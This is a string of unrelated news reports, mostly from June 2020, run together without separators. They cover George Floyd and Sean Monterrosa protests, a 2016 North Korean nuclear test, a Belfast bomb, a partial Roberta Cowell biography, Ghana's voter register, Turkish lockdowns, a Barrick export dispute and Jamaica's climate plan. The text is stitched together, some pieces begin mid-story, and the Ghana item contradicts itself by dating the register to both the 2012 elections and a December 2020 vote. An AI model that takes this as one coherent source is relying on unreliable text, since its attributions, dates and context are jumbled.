June 5, 12:15 p.m. California Attorney General Xavier Becerra announced Friday he would be conducting an "expansive" review of the Vallejo Police Department following the death of Sean Monterrosa, a 22-year-old San Francisco man killed by police in Vallejo this week. According to police, Monterrosa was kneeling with his hands above his waist when he was shot at five times from an officer who was sitting inside a police vehicle. Monterrosa was hit by one of the bullets and died.

According to a statement, the review will include improvements in "use-of-force procedures, anti-bias and community policing, and accountability" through training and policy.

"This review and reform agreement we announce today with the City of Vallejo represents a critical step the Vallejo Police Department must take to build trust with people who have lost faith in them," said Attorney General Becerra. "When our communities speak up, we must listen  and, in recent days, people across California and the nation, and in Vallejo have bravely come together to make their voices heard. This is only a first step in our broader fight for racial justice. We must all do our part, and we must do it now."

The agreement between the California DOJ and the Vallejo Police Department is expected to be ratified on June 9 at the Vallejo City Council meeting. It will be in effect for three years.

June 5, 11:45 a.m. FunCheap SF has put together a list of protests scheduled to take place across the Bay Area this weekend, pulled from a number of sources.

There are currently 15 scheduled for Friday, due to occur in San Francisco, Vallejo, Walnut Creek and San Jose, among other locations.

June 5, 11:30 a.m. A peaceful protest is scheduled for 5 p.m. in Sunnyvale Friday, the Sunnyvale Police Department noted on Twitter Thursday night.

Organized by local high school students and recent graduates, the protest begins at Cityline Redwood Square. Protesters will then march to City Hall.

June 5, 10:45 a.m. A group of about 10 adults and children drawing messages of support for the Black Lives Matter movement in chalk on a sidewalk in San Rafael this week were startled when a man approached them in an "angry tirade" about their work.

As KGO reported, the man, who is white, was recorded yelling profanities, and excoriated the group, saying "Don't let our kids see there's graffiti all over our fing streets! ... Black lives matter? How about ALL lives matter?"

"It was really upsetting and I was scared," says a mother present, Jeanenne Ray. "I was also scared for my kids."

The man reportedly later apologized on social media, writing, "I am ashamed of my actions and should allow everyone their first amendment right as I have used in my life."

June 5, 10:30 a.m. The family of Sean Monterrosa is speaking out following his death in Vallejo earlier this week, saying, "[police] executed him."

"There was no reason for them to kill my brother like that," his sister Ashley Monterrosa said.

Sean Monterrosa's sisters, Ashley and Michelle, say that they were informed about their brother's death not by Vallejo police, but by Sean's girlfriend, who called them that night.

"I cried," Michelle Monterrosa said. "I cried because no one deserves that. He was surrendering."

According to police, Sean Monterrosa had been kneeling with his hands above his waist when he was shot and killed by a police officer inside a vehicle. Police say the officer mistook a hammer in Monterrosa's pocket for a handgun.

The sisters added that the last time they heard from Sean was an hour before he died. He had sent a text message asking them to sign a petition for justice for George Floyd.

June 5, 9:50 a.m. Two demonstrations are being organized to protest the death of Sean Monterrosa, a San Francisco man who was shot by a police officer in Vallejo while kneeling earlier this week.

Protests are scheduled to take place in both San Francisco and Vallejo Friday. The demonstration in San Francisco is set to begin at 3 p.m. at the intersection of 24th and Mission Streets. In Vallejo, the protest is scheduled to begin at 5 p.m. in front of City Hall.

June 5, 9:15 a.m. Many cities and counties in the Bay Area have lifted curfews due to peaceful, non-violent protests.

Cities with curfews still in effect include Vallejo, Concord and Walnut Creek.

June 5, 8:50 a.m. Critical Mass, a monthly gathering and group ride for cyclists in San Francisco, is organizing a "solidarity ride" to take place Friday from Embarcadero Plaza. The ride is scheduled to begin at 5:30 p.m. and end at 6:30 p.m.

The event encourages bicycles, skates, skateboards, rollerblades and unicycles. "Bring your signs, music, chants, and spirit," the ad reads. "Bring your friends. The intention is non-violent. 6' apart. Wear masks."

June 5, 8:20 a.m. Mill Valley Mayor Sashi McEntee gathered outdoors Thursday with community members to personally apologize for a controversial comment made during a livestreamed City Council meeting Monday night regarding Black Lives Matter and the ongoing George Floyd protests across the nation.

KCBS Radio reported McEntee met with an "angry group" of residents in the town's Depot Plaza and the Marin Independent Journal reported that McEntee listened to critics vent "as community outrage continued" over her remark.

The Marin IJ reported that more than 100 residents attended the meeting and MeEntee addressed the crowd with a microphone.

I apologize for what I said," she said. "First of all we cant talk about things that are brought up during public open time, and two, its council policy we dont take up national issues."

At Monday's City Council meeting, a constituent submitted a question asking what Mill Valley is doing to show that Black Lives Matter.

McEntee responded, "It is a council policy that we do not take action on issues that are not of immediate local importance."

The comment was subsequently amplified by comedian, activist and East Bay local W. Kamau Bell, who tweeted it with the caption, "The Bay Area always gets credit for being the most liberal & progressive place, but it often seems to go out of its way to reject that reputation."

McEntee responded to the criticism Tuesday in a written statement. It read, in part:

"Let me make it clear that the tragic death of George Floyd is of immediate local importance along with being a national issue  As a person of color, I am acutely aware of the power and importance of words because I have been on the receiving end of bigotry myself. My comments during the meeting referred to a longstanding city council policy regarding national issues and a policy that prevents council members from discussing items that were not previously agendized in accordance with the law. It is clear that I did not express myself well or share with the community what is in my heart."

June 5, 7 a.m. About 300 protesters wrapped up a peaceful demonstration in Fremont Thursday evening, police said.

Carrying signs, chanting and drumming, the 300 or so started walking at about 5 p.m. from Washington High School to the police department at 2000 Stevenson Blvd., police spokeswoman Geneva Bosques said.

People of all ages participated and police facilitated road closures so the protesters were able to walk in the road.

No looting, vandalism or violence was reported by police. Demonstrators dispersed at about 6:30 p.m. A nighttime curfew in Fremont will be lifted at 5 a.m. Friday, city officials said.

Bay City News contributed to this report.

MORE COVERAGE ON THE GEORGE FLOYD PROTESTS:

Sign up for 'The Daily' newsletter for the latest on Bay Area protest coverage here.
Washington:

US President Barack Obama today warned North Korea of serious consequences as he consulted leaders of South Korea and Japan after Pyongyang conducted its fifth nuclear test - believed to be its most powerful ever.

The president indicated he would continue to consult our allies and partners in the days ahead to ensure provocative actions from North Korea are met with serious consequences, White House press secretary Josh Earnest said. He said President Obama was briefed on the situation as he flew home from a visit to Asia aboard Air Force One.

Obama consulted with South Korean President Park Geun-hye and Japans Prime Minister Shinzo Abe in separate phone calls from the presidential aircraft. The president reiterated the unbreakable US commitment to the security of our allies in Asia and around the world, Earnest said.

Earlier, National Security Council spokesman Ned Price said the US was monitoring and continuing to assess the situation in view of the seismic activity on the Korean Peninsula in the vicinity of a known nuclear site.

We are monitoring and continuing to assess the situation in close coordination with our regional partners, Price said. His statement came after South Korean and international monitoring agencies reported an earthquake near North Koreas north-eastern nuclear test site, indicating that Pyongyang may have detonated a new atomic test to mark the 68th anniversary of the countrys founding.

Our monitoring stations picked up an unusual seismic event in the Democratic Peoples Republic of Korea (DPRK) today at 00:30 (UTC). So far, 25 of our stations are contributing to the analysis, CTBT Organisations executive secretary Lassina Zerbo said in a statement. The event seems to have been slightly larger than the one our system recorded on 6 January this year and the location is very similar to that event.

Our initial location estimate shows that the event took place in the area of the DPRKs nuclear test site. If confirmed as a nuclear test, this act constitutes yet another breach of the universally accepted norm against nuclear testing; a norm that has been respected by 183 countries since 1996, she said.

For all the Latest World News, Download News Nation Android and iOS Mobile Apps.
The City Hall of Temecula, CA: Davishan99/Wikipedia (CC BY-SA 3.0)

With the US still reeling from the killing of George Floyd, the mayor of a city in southern California has resigned after he said no "good person of colour" had ever been killed by police  despite the fact a black man was fatally shot by police in his home in the city in 2016.

James Stewart, mayor of Temecula, Riverside County, immediately landed in trouble when he sent the offending email, which he said was sent in reply to a person concerned about our police officers and their sensitivity training.

In the email, a screenshot of which Mr Stewart himself later shared on Facebook as reports of its contents spread, the mayor responds to concerns from a constituent asking what he and his team are doing to end police violence in our community and the systemic racism in policing that is killing black people.

Replying, Mr Stewart points out that the City of Temecula does not have its own police department, instead contracting with Riverside Countys Sheriffs Department, and says I dont believe theres ever been a good person of color killed by a police officer. So Im kind of confuse (sic) what youre looking for.

He also writes that racism is not excepted (sic) or tolerated in the city, and that I have several good friends who are African-Americans, and they love living here because of how safe it is for them and their families.

In a contrite message announcing his resignation over the message, Mr Stewart explained that because he has severe dyslexia, he routinely uses speech-to-text dictation to write, and that in this case, he did not proof-read the resulting email before sending it  resulting in the use of the word good where he did not in fact say it.

I owe everyone an apology including our citizens of all backgrounds and ethnicities, City staff, and my respected colleagues on the City Council. You have every right to be hurt and offended.

My typos and off-the-cuff response to an email on a serious topic added pain at a time where our community, and our country, is suffering. I may not be the best writer and I sometimes misspeak, but I am not racist. I deeply regret this mistake and I own it, entirely. I am truly sorry.

Story continues

The statements issued by @cityoftemecula about #BlackLivesMatter have been a joke and now the mayor accidentally said no good person of color has been killed by Riverside County Sheriffs Dept. https://t.co/Zi360FrMlG  Emily K. Carian (@emilycarian) June 5, 2020

In 2016, Temecula witnessed the case of 18-year-old Matthew Tucker, who was shot dead in his home by police after dialling 911. His family argued that the attending officers were inadequately trained in crisis intervention and were wrong to use lethal force, but a federal jury cleared the officers of excessive force claims.

The US has witnessed mass demonstrations in several states protesting against the killing of George Floyd and police brutality against black citizens. The 46-year-old died after officers knelt on his neck and back for nine minutes, despite him repeatedly pleading "I can't breathe."

All four officers involved in his death have now been charged.
22-Year-Old Woman Charged After Allegedly Inciting Riot on Facebook Live

A 22-year-old woman from Grand Rapids, Michigan, was charged on Tuesday after allegedly inciting a riot and encouraging her friends to loot and destroy businesses during a violent protest, according to multiple reports.

According to an affidavit, Alexandria Ally Lyons was heard multiple times encouraging her friends and others to throw bricks or other objects at windows of multiple businesses downtown and at one point picks up a brick herself and mentions heading back to the courthouse,' reported MLive Michigan.

Lyons was also allegedly heard encouraging others to break into ATM machines, jewelry stores, and asking her friends to grab golden bracelets from the smashed displays.

Surveillance footage shows Lyons kicking and breaking into the window of a county building located on 82 Ionia Avenue NW, which is also the building that the Kent County Prosecutors Office is in, reported the news outlet.

Alexandria Lyons in a booking photo. (Kent County Sheriffs Department)

After the riot, she posted a video at her home, where she was holding a party. She was surrounded by suspected looted goods from various clothing, jewelry, and other stores. It was also suspected that she, along with her friends, stole beer from Mojos Dueling Piano Bar and Restaurant.

According to Fox News, the raid she allegedly participated in took place over the weekend, between the night of May 30 and early morning of May 31, and resulted in the destruction of around 100 businesses. In addition, seven patrol cars were lit on firefive of which belonged to the Wyoming Department of Public Safety, and the other two belonged to the Grand Rapids Police Department.

MLive Michigan also reported that dumpsters were set on fire, which spread to other buildings in the area.

Several people called authorities about Lyonss involvement in the riot, telling the police that the 22-year-old was responsible for causing so much damage in the downtown area at the time of the riot.

Lyons was arraigned in the Grand Rapids District Court on Tuesday. She was charged with inciting a riotwhich has a maximum sentence of 10 years, as well as malicious destruction of propertya felony charge, which holds a maximum sentence of five years, according to the news outlet.

She is currently being held on a $40,000 bond, according to MLive Michigan.

From NTD News
A viable explosive device has been found on a Belfast footpath.

The device was discovered on the Upper Lisburn Road on Friday evening.

Army bomb disposal officers attended the scene and removed the device for further examination.

PSNI Detective Sergeant Gardiner said: Id like to thank local people, who have had their evening disrupted, for their patience as we worked to make the area safe.

The device was found on a footpath, where anyone  including children  could easily have come across it.

This was a wicked and cowardly act, with potentially devastating consequences, and we are working to establish a motive and identify those responsible.

Expand Close Justice Minister Naomi Long said the incident was beyond reckless (Liam McBurney/PA) PA / Facebook

Twitter

Email

Whatsapp Justice Minister Naomi Long said the incident was beyond reckless (Liam McBurney/PA)

Justice Minister Naomi Long condemned the incident.

To leave an explosive device on a public footpath like this is beyond reckless, she said.

Those responsible have no regard for human life. They are motivated by a need to create fear and disruption in our community and they do not care if innocent people are injured or killed as a result of their cowardly actions.

Thankfully, due to the swift actions of the public and the professionalism and expertise of the ATO and police, a potentially serious incident has been averted.
By several accounts, Dillon fell deeply in love with Cowell, but she ultimately rejected his proposal of marriage.

Roberta Elizabeth Marshall Cowell (no relation to the author of this article) was born on April 8, 1918, in Croydon, south of London, one of three children born to Dorothy Elizabeth Miller and a high-ranking military surgeon, Maj. Gen. Ernest Marshall Cowell, who had served as a physician in both world wars and, in 1944, was appointed honorary surgeon to King George VI. In the social order of the time, it was guaranteed that Roberta Cowell would be educated in tuition-based, single-sex schools. She developed an abiding interest in cars and racing. It was the be-all and nearly the end-all of my existence, she said in her autobiography.

From an early age, she wrote, she felt conflicted about her gender, compensating for feminine characteristics with an aggressively masculine manner that persuaded gay men to take her for one of themselves.

Physically, she was sensitive about being overweight, displaying what she called feminoidal fat distribution. In her teenage years, other pupils nicknamed her Circumference and Bottom. She left school at 16 to work briefly as an apprentice engineer until she joined the Royal Air Force in 1935. Her ambition was to become a fighter pilot, but she was found to suffer from acute airsickness and was deemed permanently unfit for further flying duties with the R.A.F.

From then until the start of World War II in 1939, she studied engineering at University College London and entered a series of automobile races including the Antwerp Grand Prix in Belgium. She enlisted in the Army in 1940.

In 1941 she married Diana Margaret Zelma Carpenter, a fellow engineer and racecar driver whom she had met in college. They had two daughters, Anne and Diana. They separated in 1948 and divorced in 1952.

Despite her earlier dismissal from flying duties, Cowell was allowed to return to the R.A.F. in 1942, flying combat and aerial reconnaissance missions in Spitfires and other aircraft. After the Allied D-Day landings in Normandy in June 1944, she flew out of a Belgian air base in a Hawker Typhoon airplane that was shot down by ground fire over Germany on a low-level attack east of the Rhine River. The flight, she said, had been scheduled as the very last trip of my second tour of operations. In fact it was her last flight of the war.
The Norris Medal was established in the will of D.K. Norris, a Clemson trustee, and is awarded to one graduating senior who exemplifies the best qualities in a Clemson scholar.

Erikson has completed degrees in both psychology and political science, and has plans to go to law school and work in the criminal justice system.

Scholarships

The Jefferson Scholars Foundation at the University of Virginia selected Ethan Marsh, a senior at Grimsley High School, as one of 32 recipients of the Jefferson Scholarship. He will attend the university in the fall.

In addition to receiving the full cost of attending the university for four years, Jefferson Scholars benefit from a number of programs sponsored by the foundation, including travel abroad, career networking activities, an outdoor challenge program and a leadership speaker series.

***

Aaditi Kulkarni, a senior at Grimsley High School, is among 20 students who were selected for the EC Scholars program at East Carolina University.

Kulkarni, the daughter of Rashmi Hanamsagar and Pralhad Rao of Greensboro, plans to major in public health.
Mayor Eric Garcetti at a protest outside L.A. City Hall on Tuesday. (Kent Nishimura / Los Angeles Times)

Officials with the Los Angeles police union assailed Mayor Eric Garcetti on Friday for comments he made about cutting the LAPD budget, saying police officers have lost confidence in the mayor's ability to lead the city after days of demonstrations.

Speaking at the First African Methodist Episcopal Church in South Los Angeles on Thursday, Garcetti said that his proposal to reduce LAPD spending and shift the savings to minority communities was getting attention from mayors across the country.

Thats exactly the point," he said. "It starts someplace, and we say we are going to be who we want to be, or were going to continue being the killers that we are.

A Garcetti aide later told The Times that the killers remark referred to police agencies across the country.

The following morning, an official with the Los Angeles Police Protective League, the union that represents rank-and-file officers, accused the mayor of "political pandering" and called him "unstable."

He smeared every single police officer in Los Angeles and across the nation by calling us killers," said Jamie McBride, a board member with the union.

Hours later, Garcetti said his "killers" remark wasn't about police officers at all  but was instead a reference to society's "collective burden" to address high mortality rates among black Angelenos.

"I absolutely did not say that about the league, about police officers," he said. "And I won't have those words distorted."

The back-and-forth between the union and the mayor played out in the wake of Garcetti's announcement that he would seek to cut up to $150 million from the Los Angeles Police Department and put the money toward funding new youth jobs, health initiatives and peace centers to heal trauma.

The move to scale back police spending followed days of pressure from activists, labor unions and community groups and nationwide protests against police violence, including a large demonstration outside his home, over the killing of George Floyd in Minneapolis.

Story continues

Union leaders said they were caught off guard by the announcements from Garcetti and council members about new cuts to the LAPD. As recently as last weekend, Garcetti gave no hint that he would consider decreasing funding when asked about the size of the police force.

McBride said his union is honestly concerned about the mayors mental health in light of the coronavirus pandemic and the protests.

"I think he should seek some help and maybe have somebody to talk to  a counselor or something  and reflect on some of his decisions, McBride said.

Union officials also said they have no intention of reopening negotiations on their contract, which provides them with 4.8% in raises and nearly $41 million in education bonuses in the fiscal year that starts July 1.

When Garcetti ran for mayor in 2013, the union pumped about $1.5 million into the candidacy of his opponent, then-City Controller Wendy Greuel.

Garcetti and the union patched things up, and by 2016 the mayor was working with the league on a union-backed measure to change the LAPD's disciplinary process. Last year, Garcetti and the City Council signed off on a lucrative package of raises and bonuses for officers that is expected to add $123 million to the LAPD's budget.

Times staff writer James Rainey contributed to this report.
05.06.2020 LISTEN

The unrepented stance of the chairperson of the Electoral Commission, Jean Adukwei Mensa continues to drive several people nuts and attract widespread opposition from all quarters each passing day.

The latest person to express his opinion about the highly explosive subject is the General Secretary of the Ghana Federation of Labour, Abraham Koomson.

According to Mr Koomson who spoke in an interview with TV3, Jeans robotic action is unprecedented and should not be tolerated at all.

The commission [EC] did not consult anybody. They are creating problems and they should be very careful. You want me to go to village and bring my father or grandmother or who, my mother, my uncle or the chief of the town? You want me to go and bring these people to come and vouch for me? It doesnt make sense.

That one is the most useless process that they want us to useThis is total madness. Less than six months to go into an election and you start doing this thing. Does it make sense?, he lashed out.

For her, she is behaving like a robot. She is being remotely controlled by [the powers that be] if the battery runs down, she will pause, he claimed.

SOURCE: www.Ghgossip.com
Turkey's President Recep Tayyip Erdogan canceled plans to reimpose lockdowns in major cities to avoid further damage to the economy.

Erdogan scrapped the proposal even after the number of coronavirus cases jumped by almost 1,000 on Thursday, compared with about 700 in previous days. His announcement came about 12 hours after the Interior Ministry unexpectedly announced curfews would resume in Istanbul, Ankara and 13 other municipalities this weekend.

"It has been understood that the decision would lead to some social and economic consequences," Erdogan said in a Twitter post Friday.

Turkey reopened restaurants, beaches and ended travel restrictions June 1 to restore some measure of mobility to its population of 83 million who've been subjected to curfews and lockdowns since March. The International Monetary Fund forecasts Turkey's economy may shrink 5% this year as a result of measures taken to contain the spread of the coronavirus pandemic.

Erdogan is "taking a risk here," Timothy Ash, a strategist at BlueBay Asset Management in London, said in a research note, drawing a comparison with increased infections in Ukraine and Kazakhstan, where lockdowns have also been eased.

"Lockdowns had been reimposed due to fears over rising infections, but Erdogan seems to have overridden these due to concerns over the economy," Ash said.

The government is focused on reviving the economy even if it comes at the expense of fiscal discipline, Treasury and Finance Minister Berat Albayrak told reporters Friday, according to Bloomberg HT. The state's current priority is to shield employment and sectors that are affected by the pandemic, with the Labor Ministry working on an employment package, he said.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

Total fiscal support to contain the economic fallout from the coronavirus has reached 5% of Turkey's gross domestic, or about $750 billion, Albayrak said.

A relatively low level of public debt gives the authorities some room to contain the economic disruptions from the pandemic. As of 2019, the government's debt stock stood at 33.1% of GDP. BNP Paribas SA estimates that government debt-to-GDP in emerging markets will jump by about 8 percentage points to an average of 50% in 2020.

The government still faces fiscal constraints. Turkey posted its largest budget deficit in about a decade last year. The shortfall is widening as measures to contain the pandemic paralyzed economic activity, while spending jumped and tax deferrals chipped away at government revenue.

The number of confirmed coronavirus cases rose by 988 on Thursday to 167,410, according to data announced by Health Minister Fahrettin Koca. Fatalities rose by 21 to 4,630.
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Source: Xinhua| 2020-06-05 05:30:24|Editor: huaxia

Video Player Close

A screenshot taken from www.kare11.com shows a painting of George Floyd, which was exhibited during the first memorial conducted for him since his brutal killing in a packed auditorium at North Central University in downtown Minneapolis, Minnesota, the United States, on June 4, 2020. (Xinhua)

"We don't want two justice systems in America. One for black and one for white," says Benjamin Crump, attorney for the family of George Floyd.



WASHINGTON, June 4 (Xinhua) -- Benjamin Crump, attorney for the family of George Floyd, who was suffocated to death while under police custody, said Thursday that it was the "pandemic of racism" that killed the black man.

"It was not the coronavirus pandemic that killed George Floyd," Crump said during the first memorial for Floyd since his brutal killing. "The other pandemic that we're far too familiar with in America, the pandemic of racism and discrimination that killed George Floyd."

In a packed auditorium at North Central University in downtown Minneapolis -- the city in which Floyd was killed by four former police officers -- the Floyd family, civil rights advocates, Minnesota state officials, and federal lawmakers including Senator Amy Klobuchar and Representative Ilhan Omar, as well as celebrities, gathered together to memorialize yet another victim of racial injustice in the country.

"We don't want two justice systems in America. One for black and one for white," Crump said, echoing his own words a day earlier ahead of the announcement of charges against the cops involved. "What we endeavor to achieve is equal gestures for the United States of America."

A screenshot taken from www.kare11.com shows that the first memorial for George Floyd since his brutal killing was conducted in a packed auditorium at North Central University in downtown Minneapolis, Minnesota, the United States, on June 4, 2020. (Xinhua)

Prior to the memorial, hundreds of Minneapolis residents paid their tribute to Floyd by laying wreaths at a makeshift memorial site near the store where Floyd died. "All these people came to see my brother. And that is amazing to me that he touched so many people's hearts," Floyd's brother Philonise Floyd said at the memorial.

"Everybody wants justice, we want justice for George. He's going to get it. He's going to get it," he said.

Floyd's death has instigated nationwide protests against police abuse and racial discrimination at a time when the nation is still grappling with the spread of the coronavirus.

The hearse carrying George Floyd's casket arrives at North Central University for a memorial in Minneapolis, Minnesota, the United States, on June 4, 2020. Benjamin Crump, attorney for the family of George Floyd, who was suffocated to death while under police custody, said Thursday that it was the "pandemic of racism" that killed the black man. (Photo by Ben Hovland/Xinhua)

Although violent rioting has by and large subsided, peaceful demonstrations continued following Wednesday's announcement that Derek Chauvin, the one who kept kneeling on Floyd's neck even as he lost consciousness, was charged with second-degree murder, and that the three others received charges of aiding and abetting murder.

"I'm proud of the protests, but I'm not proud of the destruction. My brother wasn't about that," Terrace Floyd, another brother of Floyd's, said in Brooklyn, New York, where a memorial service was being held simultaneously.

At the Minneapolis memorial, civil rights activist Alfred Sharpton said the reason African Americans have been marginalized is that the country kept its "knee on our necks."

"We had creative skills, we could do whatever anybody else could do, but we couldn't get your knee off our neck," he said. "What happened to Floyd happens every day in this country, in education, in health services, and in every area of American life. It is time for us to stand up in George's name and say, get your knee off our necks." 
SINGAPORE, June 5 (Reuters) - Papua New Guinea's mining regulator said on Friday it is planning to bring criminal proceedings against a Barrick Gold Corp joint venture over what it says was an attempt to illegally export $13 million in silver and gold to Australia. PNG's Mineral Resources Authority (MRA) said it had received paperwork from the Barrick Niugini joint venture on Monday seeking clearance to export silver and gold worth a total of 46.7 million kina ($13.1 million) to the Perth Mint.

However the MRA said Barrick Niugini was prohibited from processing or exporting gold following the government's refusal to extend its mining lease in April. Barrick is challenging the decision not to extend the lease in court.

Barrick Niugini said it "entirely repudiates the claim that it has sought to export any gold unlawfully".

The joint venture between Barrick and China's Zijin Mining Group said it had always complied with its legal obligations regarding gold exports.

Barrick and Zijin had no immediate response when contacted by email, nor did lawyer Derek Wood who has represented the joint venture in its dispute over the lease to the Porgera mine.

Canada's Barrick, the world's second-biggest gold miner, is locked in a dispute over the future of its operations in Papua New Guinea following the government's refusal to extend the Porgera lease. The latest move could signal a further breakdown in relations. ($1 = 3.5651 kinas) (Reporting by Tom Westbrook in Singapore; Additional reporting by Melanie Burton in Melbourne and Tom Daly in Beijing; Editing by Jan Harvey)
MBABANE  Clashing statements. These are the latest developments in the saga between the Mbabane Government Hospital Laboratory personnel and their employers.

The hospital administrators response to the personnels demands is not complementing that of the Director of Health Services Dr Vusi Magagula.



In fact, the attention has switched from the subjects of the matter, those being the laboratory personnel, to the discrepancy at the top.



Resolution



The hospital administrators, after a lengthy meeting with the laboratory personnel representative, came to a verbal agreement with the latter that they should report for duty yesterday morning with the resolution that they would be provided with documentation that consented to that they were an essential service provider, entitled to a risk management allowance and would be provided with the proper personal protective equipment (PPE).

This was according to information shared by the representatives of the laboratory personnel to the rest of the staff after the meeting with the hospital administrators on Wednesday afternoon.



The consensus was that the employees would be provided with documentation that consented to their demands before they resumed work yesterday.

However, a source close to the matter revealed that Dr Magagula refused to endorse the consensus of the meeting and there was a stand-off between the two parties.

The director has refused to endorse the consensus of the meeting and we havent yet resumed work despite that we reached an agreement with the administrators on the matter, said the source.

When reached for comment on the matter, Dr Magagula said there was no need to have documentation on anything because all that the employees were demanding was already at their disposal.



Elaborating on his submission, Dr Magagula said there was absolutely no need for the laboratory personnel to seek clarity on whether they were essential service providers or not because nobody declared them non-essential in the first place.

Every non-essential employee is currently at home as required by the COVID-19 regulations and they would also be home if they were non-essential. What effect would a document have on that? he wondered. The director then clarified the issue of the risk allowance, stating that it was cutting across the board and no group or department was prioritised on it.



Negotiating



However, Dr Magagula said the risk allowance issue was a process that the ministry was currently working on and it entailed negotiating and crafting its terms and conditions, something that would not be possible overnight.

Risk allowance has never been paid in the country; even those who have applied for it have not yet received it. It is a condition of service that has to be negotiated. If anything, it should be initiated by the Ministry of Public Service because it is a condition of service and it has to go through a lot of channels, including Cabinet, he explained.



Dr Magagula minced no words on the issue of the PPE, stating that it was just a shield statement that the workers were hiding behind to dodge work as there was no truth to that.

PPE is out of the question because it was provided to the laboratory staff and if anyone is to be blamed on it, it is them over errors that they made in ordering same, he said.

The question that begs to be answered in this matter is what will put an end to this storm as things are unfolding while the world is faced with a pandemic that is claiming the lives of people?
The coronavirus pandemic may have delayed the 2020 U.N. climate summit by a year, but for Jamaica, COVID-19 was no reason to stall delivering a stronger climate action plan, just completed as the Atlantic hurricane season starts.

Una May Gordon, director of the climate change division at the island's Ministry of Economic Growth and Job Creation, said the Caribbean nation aimed to submit its updated "nationally determined contribution" (NDC) to the global effort to battle climate change later this month, after approval by the cabinet.

Jamaica benefited from starting work on its second climate plan early, last July, and had already consulted with key sectors - energy and, this time around, forestry - before the coronavirus hit, Gordon told the Thomson Reuters Foundation.

If all goes according to schedule, Jamaica will soon join a handful of other countries that have already met a deadline to unveil more ambitious climate plans in 2020 - including Norway, Suriname, the Marshall Islands and Rwanda.

"It is an individual and a collective commitment," said Gordon of the plans, created to meet global aims to cut planet-warming emissions and adapt to climate shifts, set under the 2015 Paris Agreement on climate change.

"There is an expectation, however, that greater effort will be made by the big emitters since as small islands we are making this effort," she said.

This week, U.N. climate chief Patricia Espinosa appealed to governments not to let the economic and social fallout from the COVID-19 crisis derail their efforts to curb global warming.

On Monday, she told the opening of a series of meetings held to replace postponed negotiations that the pandemic may have temporarily changed how the world of climate diplomacy operates - pushing it online - but insisted it had not stopped the work.

"Climate change is our most pressing challenge over the long-term," she said, noting that 2019 was the second-hottest year on record, with losses from climate-related disasters costing $150 billion last year and expected to rise in future.

Under the Paris Agreement, about 195 countries agreed to upgrade their climate action plans every five years to try to meet the accord's aim of holding global warming to "well below" 2 degrees Celsius.

This year is the first deadline for such revised plans.

Global average temperatures have already increased by about 1.1C since pre-industrial times and are on track to rise by at least 3C this century if measures to reduce greenhouse gas emissions are not stepped up.

"This year is crucial because the window to address climate change is closing very fast," Espinosa reminded states.

New energy for Africa?

The largest carbon-polluting countries have yet to announce more ambitious emissions-cutting targets - and many are now distracted by economic recession brought on by the COVID-19 pandemic.

Japan has simply repeated its existing target, but hopes to improve on it before the delayed COP26 conference in November 2021. The United States, under climate-change sceptic President Donald Trump, plans to exit the Paris pact this November.

The European Union aims by autumn to secure agreement to cut its emissions by 50-55% within a decade, from 1990 levels.

But this week a key summit it was due to hold with China in September - one analysts hoped might result in a united front for climate ambition - was postponed without setting a new date.

Mohamed Adow, director of Nairobi-based climate and energy think-tank Power Shift Africa, said COVID-19 should not be used as an excuse by countries to shirk delivering better climate plans in 2020.

Nor should it let rich nations avoid their promise to raise an annual $100 billion in climate finance for developing nations starting this year.

"COVID has shown us that trillions (of dollars) can easily be made available... when the political will is there," he said, referring to plans for huge coronavirus recovery packages.

African countries are continuing to work on stronger climate plans "because they know how vital this process is", he said.

But they may need to adjust some of their underlying calculations as economic growth and energy costs fall due to coronavirus-related lockdowns, he said.

Now is the time for African governments to shift away from "an old-fashioned energy system" based on fossil fuels and adopt renewable energy - a message that is increasingly resonating with ministers, Adow added.

Kenya is in the final stages of preparing its new climate plan, while Senegal's is also nearing completion, advisers said.

Gabon, on the west coast of Central Africa, also expects to submit an updated NDC in September or October, its climate change minister Lee White told the Thomson Reuters Foundation.

As a country with extensive forests that already let it absorb more carbon than it emits, Gabon is unlikely to boost its current target of reducing emissions 50% by 2030.

But it is pressing ahead with operations to crack down on illegal logging while taking extra precautions to prevent the spread of the coronavirus, White said.

He does not see other African governments stepping away from climate action either.

"Climate change is going to be very, very bad for Africa and so any country that doesn't take that seriously is going to be in trouble," he said.

Shrinking aid?

Patrick Verkooijen, CEO of the Global Center on Adaptation, said he had spoken recently with African leaders who wanted a COVID-19 recovery there that would build resilience to both climate change and pandemics, shore up food supplies and improve access to water and sanitation.

With development aid likely to shrink as economies do, "there is huge concern that Africa is forgotten (now)," he said.

Yamide Dagnet of the NDC Partnership, a coalition assisting governments with their climate plans, said many officials in countries on the frontlines of wilder weather and rising seas were stretched thin as they also now had to deal with COVID-19, and might need some extra help and time to deliver their NDCs.

Gordon, Jamaica's climate change director, said it was too early to tell if the pandemic would damage the financial ability of countries to implement more ambitious climate plans.

"We expect that the international community will step up to the plate and... carry forward the climate agenda," she added.
The Ashanti Regional Minister, Simon Osei-Mensah, says he supports the decision by the Electoral Commission (EC) to compile a new voters' register ahead of the 2012 general elections.

According to him, the existing voters' register would disenfranchise millions of Ghanaians who are living in the six newly created regions in the country if a new one is not compiled.

The minister pointed out that the six newly created regions do not have polling stations, district and regional codes to give them the right to vote on December 7, 2020.

He made the observation when he addressed the press in Kumasi.

He recounted that some political parties and their flag bearers were disqualified from taking part in the 2016 national elections because of these 'unique codes'.

He said since the six newly created regions don't have unique codes, it will automatically disqualify people in the new regions from voting.

During the 2016 general election, the EC disqualified some parties and their presidential candidates for using wrong polling stations, district and regional codes, he said, stressing that it is extremely important for the EC to create codes for the new regions since they do not have such codes.

Mr. Osei-Mensah stressed the need for the EC, which has the legal mandate to compile a new voter's register for the upcoming elections, to do that without any hesitation, adding that compiling a new voters' register would not breach any law

He said the EC had consistently complained about several irregularities in the existing voter's register and had called for a new one to be compiled which I support the EC.

The minister also noted that the new electoral roll is necessary, because it would make it possible for people living in the six newly created regions to also exercise their franchise.

He said since 1992, the electoral roll that brought the sitting governments were replaced with a new one during the next polls, so the brouhaha about new register should stop.

According to him, since 1992, any register that had been changed would bring the President whose time a new register was compiled into power.

The minister also added, For instance, President JJ Rawlings in 1996, President JA Kufuor in 2004 and President JEA Mills/ John Dramani Mahama in 2012.

He said the aforementioned statistics showed that if a new voters' register is being compiled during President Akufo-Addo's tenure then it is permissible by the law.

Mr. Osei-Mensah admonished qualified Ghanaians in the Ashanti Region irrespective of their various backgrounds to go and register should the EC open the registration exercise.

---Daily Guide
